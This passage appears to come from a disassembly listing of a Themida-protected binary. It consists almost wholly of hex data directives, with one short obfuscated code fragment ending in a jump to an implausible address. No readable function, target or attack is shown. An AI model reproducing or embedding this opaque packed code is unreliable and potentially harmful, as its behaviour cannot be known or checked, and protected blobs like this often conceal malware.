32566558h, 32A04DB1h, 8FFCB9E9h, 0AECC314Ch dd 4B929619h, 0CA56AB84h, 5256D54Dh, 0B7856BD7h, 54AE150Bh dd 0F3FA5530h, 32563CD0h, 3D56AE4Dh, 32564436h, 35BFCBB1h dd 0AF56D5B1h, 0D6A96E79h, 0B3308882h, 537D535Ah, 325DD9BEh dd 34BFAEB1h, 2A5657B1h, 65C31FF5h, 3D56D54Fh, 3256EC30h dd 0EADC15B1h, 32376C3Ah, 325AB4B1h, 2020AEB1h, 94ADAAF0h dd 6E95D692h, 325655E9h, 37DCE5D1h, 8B5675B1h, 1EDFFBA1h dd 32564C58h, 8280C6B1h, 1ECEE0EDh, 0EFA32C9Ch, 2C53872Bh dd 32374223h, 7CE715B1h, 538C31D7h, 0CBAE5DB1h, 32AFAEB1h dd 38BF37B1h, 9A56ABB1h, 0DD076B01h, 0D78265B0h, 323780C7h dd 325E53B1h, 96A05DB1h, 698EDA10h, 3256D740h, 325E20BEh dd 0BF59D5B1h, 3256EAB3h, 325614D1h, 3D56BA44h, 32565C35h dd 23BF57B1h, 9F5657B1h, 7DF48698h, 0F25C867h, 1B99F74Bh dd 8839AE0Eh, 3D36BAB1h, 32565F32h, 549518B1h, 721E8930h dd 5256ABD0h, 3256D258h, 600846B1h, 154461B0h, 4D7D4B0Bh dd 32563C88h, 3256A858h, 90738DB1h, 329FE866h, 325629B1h dd 3256E358h, 4E1EABB1h, 0E9441AD3h, 3256DDC1h, 3256BD58h dd 0B14559B1h, 5C19618Ch, 87C2EDA4h, 233F9B55h, 0A0879CEEh dd 39BFBAB1h, 0AF565DB1h, 0E8D94945h, 99DB12B2h, 32568A06h dd 3256DF58h, 7E901CB1h, 757DCE86h, 3D2A01BBh, 32564A3Fh dd 324447B1h, 31C57B1h, 0C1AEFCBEh, 37757B4Dh, 7AA99234h dd 5197F4F6h, 0B336BAB1h, 44C0865Eh, 39BFCE84h, 365657B1h dd 13463462h, 9DD0966Fh, 0BC594C66h, 325675B1h, 3256DBD0h dd 325EB5D1h, 0A1C7AEB1h, 152ECAD3h, 0B259F30Ch, 3256D5B1h dd 0FCEC8CEEh, 325614EBh, 3256B358h, 0DFC7D8B1h, 0B7AE4755h dd 3256C04Ch, 5256AB48h, 3256D259h, 1EFECBB1h, 0D505BE6Ch dd 52853BD7h, 323702C7h, 325652B1h, 32564758h, 6281E2B1h dd 385A9181h, 0B73A82C3h, 0F54D3048h, 3D56BAD9h, 32564F3Dh dd 3ED4A1B1h, 0DB5657B1h, 3256ABB6h, 0C76163DCh, 321A40BCh dd 325689B1h, 3256A958h, 1AEC13B1h, 0E720FE3Ch, 907E8EFBh dd 0C956E44Dh, 0EFEB1FEAh, 0BA59EAB1h, 325675BBh, 0F1E1B5D1h dd 0A916ED0Eh, 3256CFF4h, 32565C58h, 4D8CC8B1h, 0E785CF1Ch dd 90B36234h, 0BB5975B1h, 3256BAB0h, 0CA565D48h, 5436AEB1h dd 0E1168730h, 3256A559h, 689BFEB1h, 655BBABBh, 28994DD7h dd 0DA673C4Ch, 32565DB4h, 0C092CA65h, 53090FB0h, 32AEABB1h dd 325620B1h, 3256F858h, 0C3B9F4B1h, 431D207Dh, 2DB84697h dd 0F34280C5h, 0CABD0509h, 0B359ABB1h, 3256D5A8h, 3256FE58h dd 480364B1h, 5EC09EA7h, 0E35291AAh, 0D7A0EC56h, 7A00E6B1h dd 0DB56AB55h, 3256D5B7h, 68C3C83h, 325643B1h, 324F30BEh dd 26BF5DB1h, 0DA56AEB1h, 212A3083h, 59F018D8h, 464F4ED8h dd 0A74DE9C1h, 32910A45h, 3FDAB5B1h, 0DB565DB1h, 3256AEB9h dd 0E27B800Dh, 0EE955628h, 32AED5B1h, 3ED9E5B1h, 3D5675B1h dd 3256BC35h, 32D552B1h, 3256AEB1h, 38BF37B1h, 2556ABB1h dd 43DE4497h, 0BCA1A9F4h, 0F3E17AA9h, 3D56BAD0h, 32564C32h dd 325A47B1h, 12457B1h, 45672982h, 0EB97425Eh, 32567D04h dd 3D567549h, 3256A13Ah, 27D152B1h, 0DB56AEB1h, 325657A1h dd 0F6CAFD5Ch, 2D7270DBh, 15C47D9Bh, 0CE3E9746h, 26BFBAB1h dd 4A565DB1h, 0BDEDB5A8h, 9B7702DFh, 0FAECC5EBh, 7B0F9AFAh dd 327941F4h, 325C9CB1h, 0F532BAB1h, 424C65DAh, 5D9E10F8h dd 0DB565748h, 3256ABB4h, 426CA971h, 3D56EA98h, 32567A31h dd 0D5DCDAB1h, 32565B58h, 57320DB1h, 53BBD064h, 3BBFABB1h dd 3F56D5B1h, 0B33B15F2h, 43146D1Eh, 0DB36BAB1h, 32565DBCh dd 0B1B325D7h, 0F0A83D1Eh, 12DA5B84h, 3256B47Bh, 325E6DBEh dd 0B35975B1h, 3256BAB3h, 32563CD1h, 325A28BEh, 35BF57B1h dd 8256ABB1h, 61A23C89h, 3256D1CFh, 325E9DD1h, 7C4BBAB1h dd 0E74CAADEh, 530F9CF7h, 3ABF57B1h, 9756ABB1h, 0DE6B90C2h dd 3292E86Bh, 0B93015B1h, 8D59EC40h, 32370773h, 325F47B1h dd 558757B1h, 6528FCA4h, 321D9B50h, 325103B1h, 0EA5A75B1h dd 49878A32h, 0CE565DA5h, 3256A058h, 0F51BE6B1h, 7ED9A28Bh dd 0CC8B24BFh, 322842E2h, 32519CB1h, 0EFC6BAB1h, 68B881F6h dd 5256AEDCh, 0A633EED1h, 37EFD486h, 530F90C3h, 32D3E5E7h dd 6A5675B1h, 0CE56BAD0h, 80365DB1h, 0C3E8C8B0h, 3D363611h dd 3256AE30h, 0FCD7B3B1h, 53AEC53Fh, 32AF75B1h, 37BFDAB1h dd 0D5565DB1h, 5B2B2F1Ah, 525657D0h, 0E1912AD7h, 3256B4EEh dd 3256E158h, 0F1A9CCB1h, 12A74117h, 0F96B5748h, 23BFAEB1h dd 0EC5657B1h, 630E2831h, 0B6484A10h, 1068BAB4h, 41C6ADC2h dd 5436BAB1h, 21BEAA3Ah, 3956AEB1h, 5CBFA56Dh, 0B389703Eh dd 9817FC98h, 0FFF78519h, 3DBFF559h, 0E756BAB1h, 49B3EE27h dd 0D6882669h, 3BD9BB51h, 530E573Bh, 20BFD5B1h, 2C56EAB1h dd 0E1573E3Bh, 5FCE543Bh, 166B9085h, 0B086FE06h, 3256AF51h dd 0CA56AB44h, 0B259D5B1h, 3256EAB0h, 325B9C48h, 2BAB1h dd 0E0748A8Ah, 0AF54BDAh, 32B693D3h, 3BDFA4B1h, 5256D5B1h dd 830E52D7h, 53ADCABEh, 3DAABAB1h, 32564438h, 3EBFCEB1h dd 0B75657B1h, 3CDABDE3h dd 42F85E80h, 3DAE7E4Ch, 3256753Fh, 3256DBB1h, 3D565D4Dh dd 3256BC31h, 325BBEB1h, 0B333ABB1h, 961DEAC6h, 0AD01D695h dd 32B4B305h, 33D2B5B1h, 0CA565DB1h, 0C7A3AEB1h, 0CAAE57B1h dd 0B859ABB1h, 3256D5B6h, 0F8D78CD1h, 3237129Eh, 33DDB5B1h dd 0CE565DB1h, 530EF9D1h, 26BF57B1h, 4056ABB1h, 983AC28Ah dd 247CB6A4h, 36ED4765h, 83AAB627h, 3224A32Bh, 3AD5A1B1h dd 3D5657B1h, 3256A93Ch, 3237B5B1h, 33D9E5B1h, 0C75675B1h dd 3D36BAB1h, 32565B34h, 55BD2FB1h, 637F9670h, 2BE813D7h dd 3256B4E9h, 325003D1h, 478C75B1h, 6093C650h, 0B1BBA30h dd 3237F12Eh, 0B859AEB1h, 3256ABB8h, 888C5ED1h, 2B51E3EEh dd 0DB5675D0h, 3256BAA1h, 1EC656B3h, 0F1A4B054h, 2108D89Ah dd 2F0DDA2h, 0B336D5B1h, 0AA04D562h, 325614EEh, 3D56BA4Dh dd 32564838h, 324647B1h, 0D08157B1h, 91B4C339h, 0E5125CBEh dd 8AD8BD54h, 3256AEA8h, 0CA56BA49h, 54365DB1h, 0B930603Ah dd 32563672h, 3256A258h, 0EA07E4B1h, 4D88CFBFh, 3256BC30h dd 45E6E8D1h, 32563CEEh, 0CE56AE44h, 3D3657B1h, 3256A931h dd 5337B5B1h, 325E02D1h, 0E9C475B1h, 835B0841h, 8D305A88h dd 520C52A7h, 3242BE48h, 9C6BABB1h, 5FF47E03h, 0C26419B7h dd 678FD472h, 459FB243h, 5337B8C6h, 6336AEB1h, 530C5805h dd 5436ABB1h, 0E17E0430h, 3256E359h, 89B272B1h, 0A3E04577h dd 0B9308D89h, 3237F766h, 0B65937B1h, 3256ABB1h, 53602431h dd 0B459EAB1h, 325675A5h, 3256B558h, 0A52F1BB1h, 0C543A96Ah dd 89479A71h, 7FF0164Ch, 3D36D5B1h, 0BD592D06h, 325675B0h dd 3256DB48h, 325AD5BEh, 0BC59AEB1h, 325657B7h, 325625BEh dd 3256D5B1h, 0EAE9E5D1h, 3237B407h, 325F53B1h, 0C9915DB1h dd 2BFACD91h, 32ABA216h, 325653B1h, 4BEEB3D1h, 538A5C3Fh dd 11F2CBD1h, 0DB36CC4Dh, 32565DB6h, 66A57E36h, 0DBB4DD5Eh dd 3256ABA1h, 653F1AECh, 2B78B13h, 85FF81FEh, 115A318Eh dd 32563CD0h, 32584744h, 467157B1h, 0B004F287h, 1BB9DCEBh dd 0CF7D33AEh, 34BF75B1h, 0DA56BAB1h, 0BB8FB0B5h, 3D56AE8Fh dd 3256563Ch, 32565EB1h, 5256D549h, 3256ED59h, 0FF1053B1h dd 2910F6F6h, 3256D4BEh, 540CAEB1h, 3237A63Ah, 325142B1h dd 0F6F1D5B1h, 44B7C5A6h, 3D567585h, 3256A837h, 325BB4B1h dd 4DDFAEB1h, 0C51C9F3h, 676F541Eh, 32142163h, 3ED1E5B1h dd 3D5675B1h, 3256BC3Ah, 32DD52B1h, 5256AEB1h, 0B22AA531h dd 3237DC6Bh, 0B3AFB5B1h, 0AA41D063h, 325614C9h, 3256AA58h dd 0E517F1B1h, 0FEF7E229h, 0B754A21Bh, 70A12C0Eh, 3D56D5D7h dd 3256F93Ah, 13E915B1h, 0DB0ED044h, 32565DB6h, 0EEAC5C4Eh dd 534E9EA2h, 0DB36ABB1h, 3256D5B8h, 39AA14CDh, 814360Bh dd 0CE374F77h, 0BE595DB1h, 3256AEA2h, 32565958h, 6BF604B1h dd 69D2B125h, 3BDFE07Ch, 0C76C3F8Dh, 26BFBAB1h, 8565DB1h dd 764EFF40h, 0CC01C205h, 9791E594h, 46F9BCEh, 3DB1F865h dd 32567E3Ah, 325053B1h, 0DA845DB1h, 0C33712Eh, 32AE57B1h dd 325A42B1h, 0C0FED5B1h, 2CEA36CCh, 0CF54483Ah, 325607CFh dd 3257D3BEh, 32AAAEB1h, 35BF37B1h, 0CB56ABB1h, 0FEEBE695h dd 0B9306F57h, 0B5591443h, 3256BAA2h, 325EB4D1h, 0B957AEB1h dd 0AC95A0EFh, 8930DD27h, 3237AB57h, 32561FB1h, 325AFDBEh dd 0B659BAB1h, 32565DB7h, 32562EBEh, 325657B1h, 32512ABEh dd 3D36D5B1h, 6D043B06h, 525675D0h, 23BE443Ah, 36565DB1h dd 0E55027C0h, 0E1DF3376h, 703BCD43h, 0ADCC5D85h, 325662BEh dd 530975B1h, 0DBAEBAB1h, 32565DB7h, 917247F9h, 32561318h dd 30D5A4D1h, 5256D5B1h, 530859D0h, 813675B1h, 3256DB18h dd 0B9A8D6D1h, 3256CF62h, 2BD55844h, 5256ABB1h, 22BFB4D1h dd 9C56EAB1h, 0F7B1EF71h, 99A76E5Ah, 0A3F7966Ah, 532522C0h dd 52A357B1h, 8930483Bh, 3237B21Ch, 33DFE5B1h, 0CE5675B1h dd 5436BAB1h, 5415D00Bh, 32375C3Ah, 3250BEB1h, 4CA7ABB1h dd 3CFD9F8h, 0B459EAB1h, 325675A0h, 3256B658h, 4EF4F5B1h dd 550815ADh, 0E073DDA9h, 21D5A495h, 0DB56D5B1h, 3256EABFh dd 6FDC55FDh, 0AF2AE349h, 8F660213h, 3256770Ah, 3D565748h dd 3256AC32h, 33D4DAB1h, 0CB56EAB1h, 3D3675B1h, 3256B934h dd 0EADD3BB1h, 3256A258h, 0E37DCAB1h, 5FD1FECDh, 34BADC68h dd 32568BADh, 37D57A48h, 5256BAB1h, 5385D649h, 32AAAEB1h dd 3253BEB1h, 3AE3ABB1h, 3D0421D3h, 3256ED38h, 33D87AB1h dd 0C756BAB1h, 0B7595DB1h, 3256AEA5h, 32565858h, 6DDEF4B1h dd 6EA07E77h, 0AB6F516Ch, 9509055h, 0B059BAB1h, 32565DB0h dd 3D56AE4Dh, 32565339h, 6806CBB1h, 3D56D5D0h, 3256E032h dd 0B65915B1h, 3256BAB1h, 3D376C06h, 3256A03Bh, 0B85937B1h dd 3256ABB1h, 325659BEh, 3237EAB1h, 32568CB1h, 3256B758h dd 7791F3B1h, 584EE9E8h, 1280CF00h, 6136FD85h, 531660EBh dd 3CBFEAB1h, 35675B1h, 0AC2D093Dh, 317531EFh, 730CE46Dh dd 3D5657C4h, 3256A538h, 0B359B5B1h, 3256EAB1h, 0B7DDA730h dd 0CE37E412h, 3FBF5DB1h, 0E756AEB1h, 5F492BDh, 0CD6F5270h dd 4E58A4F2h, 0BD59EAB1h, 325675B0h, 0DB56BA49h, 32565DB4h dd 31A39BB8h, 3D5657FFh, 3256B033h, 26BFB5B1h, 0C156EAB1h dd 53F1A0B4h, 0E78ADE9Dh, 0DA4C5D19h, 15909DA6h, 53BEE49Ah dd 3256AD58h, 0B6C3FEB1h, 321A0FDBh, 32AF80B1h, 38D1B5B1h dd 0DB565DB1h, 3256AEB4h, 6D2EB22Fh, 0DB56ABC7h, 3256D5B6h dd 8A89569Ah, 32C9FEE1h, 0C73642B1h, 5386E2BEh, 0B859AEB1h dd 325657AAh, 324325BEh, 22BFD5B1h, 3E56EAB1h, 0A9B29262h dd 2A20477Bh, 0DAB313C2h, 32F7ECD9h, 3FDC58B1h, 5256ABB1h dd 0F19854D7h, 32D5E5D7h, 535675B1h, 3256AA58h, 33B548B1h dd 9454728Ah, 0C531C4B5h, 0D13BEA13h, 3D56D5E8h, 3256F131h dd 22BE15B1h, 0EA56BAB1h, 0D2B28339h, 0B85F215Dh, 0AE61404Dh dd 6C632666h, 53EA1131h, 32AAEAB1h, 33D47AB1h, 0CE56BAB1h dd 35BF5DB1h, 4456AEB1h, 0D6802336h, 32563829h, 3256DF58h dd 0ABBB2EB1h, 0BE522C01h, 3271C5A5h, 26D952B1h, 0DB56AEB1h dd 325657BEh, 570B9286h, 3651C105h, 0F5965B93h, 322DE806h dd 0F9DDDAB1h, 32565858h, 1593D5B1h, 32379E51h, 38D8A4B1h dd 5256D5B1h, 548F61D7h, 4652B430h, 0CE56BAD0h, 34BF5DB1h dd 0AE56AEB1h, 1BA5388h, 3D56ABB4h, 3256D433h, 32561FB1h dd 3257F0BEh, 32AEBAB1h, 3FDB52B1h, 5256AEB1h, 0D8CD6D7h dd 32D7A4EEh, 5356D5B1h, 325761BEh, 32A375B1h, 3ED2B5B1h dd 3D565DB1h, 3256A833h, 32DB58B1h, 3256ABB1h, 3EDEDAB1h dd 3D56EAB1h, 32567339h, 32D9B5B1h, 52565DB1h, 325229BEh dd 8A3057B1h, 0C1D60C39h, 3256B4DFh, 0C0E9E5D1h, 0CA5675D0h dd 0BA59BAB1h, 32565DA0h, 3256A258h, 612977B1h, 0DC52786Ah dd 0ACFEA643h, 5256EADCh, 3254F5BEh, 0F3DDBAB1h, 8BAFE2D7h dd 0DA36CED0h, 325657BFh, 0AA44DC4Fh, 8352F930h, 9D199B23h dd 53082637h, 5256BAD0h, 88E93BD1h, 32DBA105h, 535657B1h dd 325F42D0h, 201CD5B1h, 4CD3317Ch, 52FED8C4h, 3256B358h dd 0BA7DF3B1h, 0E115AFEAh, 32BE899Dh, 6856ABB1h, 0A9B13F30h dd 39BFECABh, 0AA5675B1h, 0D213BD4h, 0E72F9FAh, 533631E6h dd 3251D6BEh, 0B759ABB1h dd 3256D5B0h, 0A3D36749h, 3D506C2Ah, 3256A332h, 21DE52B1h dd 0DB56AEB1h, 325657BFh, 0C9C90F25h, 4EBF2529h, 2876163Ch dd 0B0DF4539h, 344C3956h, 3248D3BEh, 0BE59AEB1h, 325657A9h dd 3256B858h, 5B198EB1h, 799A9A66h, 5E6112E2h, 42C1A27Bh dd 2472CBBDh, 56022C3Ch, 0B15951AAh, 3256ABB7h, 6037B5D1h dd 0B0DF8BEBh, 344CF1B5h, 325736BEh, 0DAAA5DB1h, 32569B2Bh dd 0DB20E7D1h, 3256ABBEh, 0ECAFD998h, 1E0AFD5Ah, 0D1BE2320h dd 537F781Bh, 306CB544h, 21BFAEB1h, 6B5657B1h, 1F6455EBh dd 0D4ED918Ch, 0A23466FBh, 346657CCh, 0B091AF29h, 344CDEEAh dd 3256AEB1h, 0F4A3054Dh, 265EE234h, 0BE5983B7h, 3256EAB6h dd 0DDD713D1h, 5A373DBAh, 0AEFEE5E3h, 325326BEh, 0CA3657B1h dd 0CD37CAD1h, 267AB004h, 33D9E5B7h, 0CA5675B1h, 4AA83F3Ch dd 0B2595BA6h, 3256AEBAh, 0F0E958D1h, 0E9567530h, 0CD37A6F0h dd 0B7DF1F61h, 34425EA4h, 5252D048h, 0B3369B3Bh, 8253AA5Bh dd 32DF58F6h, 5356ABB1h, 323E20D0h, 3D56EAA1h, 3256693Bh dd 24DFB5B1h, 0DB565DB1h, 3256AEA0h, 16C4D56Bh, 0D260C663h dd 0DA71E8BFh, 333B952Bh, 3F161D2Ch, 58A3BAB2h, 0E2A9A1B1h dd 3256A558h, 0CD9994B1h, 0CB33ABA8h, 0D94FBDD4h, 0F25D13EBh dd 337BF1BEh, 0B959BAB1h, 32565DB0h, 69D42748h, 52504D32h dd 7F8612D7h, 325758BEh, 53AEEAB1h, 3FD27AD1h, 0DB56BAB1h dd 32565DB9h, 7120B8DDh, 8D5728EFh, 325423BEh, 5336D5B1h dd 5DD463D0h, 0CB506F32h, 315BFA08h, 325CB4B1h, 5B69AEB1h dd 0C6150396h, 0FB69AE8Ch, 0DB362D3Ah, 3256EAA3h, 9D4384Bh dd 0F753D936h, 0A3D8F3F0h, 9842F791h, 0F0D7CEBCh, 62A113C2h dd 0C796E6D0h, 63364042h, 6391F4D7h, 0B930E428h, 0B2593C69h dd 3256AEB0h, 58A30549h, 323E53B5h, 5256D5A1h, 204554D7h dd 5A37B73Ah, 3256BEB1h, 3247B4D1h, 36D5AEB1h, 0AF86C62Fh dd 0CBA7F91Fh, 9818CB38h, 0DA375CBEh, 325675A3h, 578309B7h dd 56F5AC0Dh, 0DFD17BD4h, 0BF7AAF3Bh, 34BE881Dh, 0AF56D5B1h dd 75834F54h, 530E2E35h, 325132BEh, 0BD595DB1h, 3256AEB0h dd 3D563D49h, 3256AA3Eh, 0A0A929B1h, 3442C1A4h, 32D77AD1h dd 3D56BAB1h, 32565B3Eh, 32D6A1B1h, 535657B1h, 324442EBh dd 1597D5B1h, 3B50B9CDh, 0AB9D0632h, 4C9C1847h, 495A1EDDh dd 0B4842C38h, 53AF51ABh, 325128BEh, 8B36D5B1h, 562E6B4Bh dd 69D3FED0h, 0DB50A032h, 32565DA5h, 0CED56A92h, 0CF2C35EFh dd 7242F497h, 840FC78Fh, 0F6EE59CAh, 33D37A72h, 0C756BAB1h dd 0B259A1D1h, 3256AEB6h, 3257D9BEh, 0F5A3ABB1h, 26520033h dd 7256EAB7h, 36D37AB1h, 5256BAB1h, 0F53706E0h, 26443F33h dd 324657B7h, 0DB3757B1h, 3256D5BFh, 5B0BBFC3h, 0EC486CA4h dd 0A86B6993h, 5295EC83h, 0F8DD453Bh, 0B45937D0h, 3256ABBEh dd 3256DF58h, 0A522BCB1h, 0C16B379Dh, 0B97CECA2h, 28D5060Bh dd 0DD556B7h, 0F3D258B1h, 0DB56ABB1h, 3256D5BDh, 0B5722794h dd 55FCA3F3h, 39E093D5h, 30462232h, 32182ABEh, 0C7AA57B1h dd 3646D432h, 322A51BEh, 23BFEAB1h, 355675B1h, 3D89133Dh dd 0E0AC2D24h, 625F1B22h, 5DF66243h, 52426C32h, 0BE59023Ah dd 3256EAB3h, 0DB372BE3h, 3256BAA3h, 0EF7105B8h, 0B9C66EB5h dd 7E85B4EEh, 78A484A3h, 0BDBF8021h, 0CBA9154Eh, 33463276h dd 3D56BAB1h, 32565939h, 0FCDCCEB1h, 0CDE8BED0h, 0B659544Eh dd 3256D5B6h, 325761BEh, 0DBAA75B1h, 3256BAA3h, 58BAB098h dd 0A182930Ch, 8559C6C6h, 87FEBE4h, 759157AAh, 3256E9A1h dd 325D9CB1h, 6693BAB1h, 3AB40A18h, 542A82E8h, 0CD28BE76h dd 0C7AF544Eh, 3AD8DAD0h, 3D56EAB1h, 3256773Ch, 3D37DAB1h dd 3256443Ch, 324247B1h, 8A7B57B1h, 0DAD8AC1Fh, 0B83FAFAh dd 0A358C612h, 8EC51E11h, 0DB95FD56h, 32565DB7h, 0E3DB1530h dd 0DB03FD7Fh, 3256ABA3h, 9BAD6BCBh, 6B6D069Dh, 0ED58279Ch dd 47D117ABh, 0B9AE38BDh, 3FDEA15Dh, 0DB5657B1h, 3256ABB9h dd 0D29ECC06h, 0A39E0A11h, 3ED77AD1h, 3D56BAB1h, 32565B3Eh dd 32D2A1B1h, 0CB5657B1h, 3256AB59h, 0D8D78FB1h, 344C4A38h dd 3DA6FFD1h, 3256BB35h, 0CA37A5B1h, 0CBA425D1h, 0C6E4DCD0h dd 3D50B137h, 3256F23Ch, 3DBF8AB1h, 7C5675B1h, 9254644Fh dd 9112B843h, 0CD0C3E38h, 3EBF704Bh, 2356ABB1h, 0C93C8F9Ch dd 1B6FC114h, 53869340h, 8D59DAD1h, 537CE968h, 325522BEh dd 0EFD657B1h, 77DDCA8Ah, 34DF2CB9h, 54875FD1h, 5310DC0Fh dd 0B4A23832h, 0CB525BABh, 0B359CF48h, 325657BDh, 325021BEh dd 0B459D5B1h, 3256EAB1h, 9E31578h, 3694DB48h, 325FB4B1h dd 215BAEB1h, 0EF976439h, 525A2D3Fh, 32563D49h, 0B30CEAB1h dd 28F75B5Bh, 325B53B7h, 6FD65DB1h, 0EC31DA57h, 0DDA2D238h dd 0CB85EC9Bh, 3256D958h, 1FF854B1h, 0AA827150h, 0D4C34712h dd 0E0E4D60Dh, 5250B437h, 37DF5849h, 8C56ABB1h, 7E85061Bh dd 806D1FD0h, 344CF345h, 33383EBEh, 52365DB1h, 53AA6C3Bh dd 5268DCD0h, 539614BEh, 22BF0A3Ah, 0A56EAB1h, 0BC5CD55Bh dd 956EB444h, 0BBFF431Bh, 3DC1C1DFh, 3D571807h, 3256AC39h dd 33D1DAB1h, 0CE56EAB1h, 0B2573247h, 321C3FBEh, 52AA5DB1h dd 54047331h, 422EB730h, 0DB8FA8D0h, 3256D5BDh, 0B1A9AE6h dd 0E07D8E5h, 0FC61B343h, 32566B58h, 8436CEB1h, 5437AB08h dd 0E8806A30h, 27D0DAD0h, 0DB56EAB1h, 325675A1h, 420093F5h dd 84A3FB84h, 11689D3Eh, 0A9E18264h, 0BE59729Ah, 3256D5B6h dd 325762BEh, 71AA75B1h, 0E2E1B5D1h, 713702E1h, 21BD14D1h dd 50E81EC9h, 537B321Eh, 3256DF58h, 0CFD42DB1h, 8B82064Fh dd 0B9EF428Ch, 26780434h, 0BFDD57B7h, 34427DD4h, 16ECCBD1h dd 5458F1C1h, 53011409h, 7CEC13E6h, 937E3D1h, 76D45269h dd 0CA56AEB1h, 0B5598E8Ah, 3256AB8Ah, 3256D958h, 89E474B1h dd 86183535h, 0EB011C16h, 3690DEC2h, 325C47D1h, 6E3C57B1h dd 6DF73AC0h, 1F092088h, 0CC8A03D0h, 3EBF8A4Eh, 156BAB1h dd 9A75FEA7h, 694D91Fh, 90A9CB9h, 0FD2A47Eh, 0CE56D5B1h dd 18335738h, 23BF73A5h, 8D56BAB1h, 3005C515h, 5391E4F2h dd 0EBBABD7Dh, 0FFEAAA9Bh, 0CDA85958h, 0DCD78A4Eh, 0FA23257h dd 32543DBEh, 69015DB1h, 325047D0h, 0D03057B1h, 7EA2AFB0h dd 325E3CD0h, 0D2BAEAB1h, 0BB126E15h, 0DB950542h, 32565DA2h dd 0CCFED96h, 0FC7BCA78h, 4447259Fh, 9FFBED55h, 52E75421h dd 32569D48h, 0B30CBAB1h, 28F54B5Bh ; --------------------------------------------------------------------------- mov bh, 47h loc_5E7EBA: ; CODE XREF: Themida_:005BFAA6j pop ebx xor dh, [ecx+318BB757h] mov edi, 67EB5795h jmp near ptr 0E5B73663h ; --------------------------------------------------------------------------- db 3Dh dd 32566037h, 324653B1h, 0C7A25DB1h, 0E92B451Dh, 15BF0A64h dd 1D9C3665h, 0B659D92Bh, 3256EAB0h, 0E0ECFE49h, 0DB50A037h dd 32565DA3h, 0ED042A8Ch, 0EA9878CFh, 202E5954h, 48365E72h dd 54367AC2h, 54B8230Eh, 0EC275930h, 3356E4D0h, 3DBFAEB1h dd 8B5657B1h, 17F1E22Ah, 44CDE55Ch, 92A2628Fh, 52369405h dd 4C53E80Fh, 0E5E952DBh, 0F265CFD0h, 32565C58h, 0D0D75DB1h dd 0B3AAA9B3h, 41F8E619h, 35BFDE42h, 0FC56BAB1h, 18ACC5A4h dd 0B0DDC495h, 344CD163h, 0BB375ED1h, 28D02133h, 26DAE5B7h dd 525675B1h, 0EEB65930h, 35BF5965h, 7156AEB1h, 5EAE1DDBh dd 53371F44h, 0B8591644h, 3256EAA2h, 32567B58h, 0F68BDDB1h dd 0F0A5CBA4h, 74A218E9h, 5291EBC2h, 325C21BEh, 37BFD5B1h dd 1156EAB1h, 0ED0F18B6h, 3256BA59h, 0D8D707B1h, 344C0AA8h dd 3246BED1h, 64E4ABB1h, 0DC7EA03Ah, 2C9F3B3Fh, 806E26BFh dd 8D597274h, 0F4AE3C4Bh, 265EE734h, 5AAE01B7h, 0E649C688h dd 3256C558h, 13ED4FB1h, 42E52626h, 46E4BB79h, 995FA3E2h dd 57E35162h, 3D50439Dh, 3256AA33h, 0B7DB20B1h, 3441924Fh dd 0CADD13D1h, 3256B159h, 0F1B5D2B1h, 69B37D9Bh, 0E0CC0A3Dh dd 0CD37F149h, 24D1DA61h, 0DB56EAB1h, 325675A0h, 4EBA65E1h dd 0C73F317h, 54F8070Ch, 8D5A70E0h, 0B359F935h, 3256D5B0h dd 3DBFBA49h, 9E5675B1h, 41A5A7E7h, 43A06B8Ah, 17676E5Ah dd 323E54C6h, 3D56AB31h, 3256D23Fh, 33DBE5B1h, 0CA5675B1h dd 38BFBADBh, 3E565DB1h, 0ACDEB664h, 109709FCh, 69E4543Dh dd 0DB50CF32h, 3256EAB6h, 0CD86D68Ch, 0CDE312E1h, 86EF3D61h dd 0DB32C3C0h, 325657B7h, 9E43119Ch, 3D378E3Ah, 3256E038h dd 0B93015B1h, 0D43A0169h, 6A376B89h, 5AAFF444h, 3256D7B1h dd 325E27BEh, 0BD59D5B1h, 3256EAB3h, 323C14D1h, 3256B158h dd 0E23E4BB1h, 5308C33Bh, 76957274h, 0B484194Eh, 8536D3ABh dd 32590296h, 0DAE775B1h, 76678BC5h, 0C961510Eh, 0D0A07781h dd 6BBAE2C0h, 0DB8654D0h, 3256D5B6h, 36A4F340h, 0DBE8019Eh dd 3256BABDh, 9608BBF6h, 1A0D6FB8h, 607613F5h, 34BFCBD0h dd 0AA56D5B1h, 0CE5DE477h, 0CAE17A37h, 0B05979D0h, 32565DB6h dd 325720BEh, 67AF57B1h, 0DEDD5E4Dh, 3256C558h, 1FFB2B1h dd 0E3C8B121h, 0A15C2C8h, 907D6533h, 0B059CE5Ch, 325657B6h dd 0DFEDCDD1h, 0DA372954h, 3256EAB1h, 0E2BCF4EBh, 3D50A014h dd 3256453Fh, 324547B1h, 31FB57B1h, 0D9ED5C77h, 0BE627303h dd 6F59FD15h, 7722B95Ah, 20D5B519h, 0DB565DB1h, 3256AEBCh dd 60A32D9Bh, 0B6B19857h, 83FDE28Dh, 3259035Eh, 0C04D75B1h dd 0F6CC0D2Fh, 3ADA05E9h, 0ED8C6D62h, 3A23DC47h, 32572CBEh dd 0DAAAD5B1h, 3256E452h, 22BF2044h, 0BE56BAB1h, 41B8BA9Ch dd 40420FF5h, 45B13BB3h, 0CD307A64h, 28D53223h, 520B1FB7h dd 476D1448h, 0E2D3B5BDh, 0C7A9A24Eh, 32581C59h, 3246BEB1h dd 8F0FABB1h, 3CD6A65Bh, 7890262Ch, 68D31ADDh, 52377FE3h dd 7BA1DCD7h, 3D9FCF5Fh, 3256463Eh, 325A42B1h, 53A2D5B1h dd 9EEEA132h, 80464F2Dh, 3A94ACDCh, 325DB4B1h, 5E63AEB1h dd 11EBBF71h, 7C069E13h, 0B2368035h, 34BFCF51h, 1C5675B1h dd 84B0151Eh, 0DEDD3C8Bh, 32572EBEh, 0B1AF57B1h, 3EBF5775h dd 1B56D5B1h, 0B98F5506h, 0CE7AAC27h, 641D47E0h, 61AE0A44h dd 32564648h, 0B30C57B1h, 28F0495Bh, 325F3CB7h, 4090EAB1h dd 57B8745Dh, 0DBC74736h, 32565DA0h, 9C4668B3h, 49D2D35Eh dd 0ADF23FA8h, 0DBA64D4Ah, 3A2361CDh, 3245F7BEh, 0B959BAB1h dd 32565DBCh, 3256A658h, 0E73333B1h, 0CADC4636h, 37D6DA9Dh dd 5256EAB1h, 5344A131h, 5246C73Ah, 52013C44h, 3256A359h dd 0A082E1B1h, 0FD5FD167h, 0AA573BD4h, 34BFB5F7h, 0C25675B1h dd 66AA3B79h, 64370437h, 2AD0A148h, 0DB5657B1h, 3256ABA2h dd 3C87184h, 530C68Ah, 1F5A4894h, 38031BD6h, 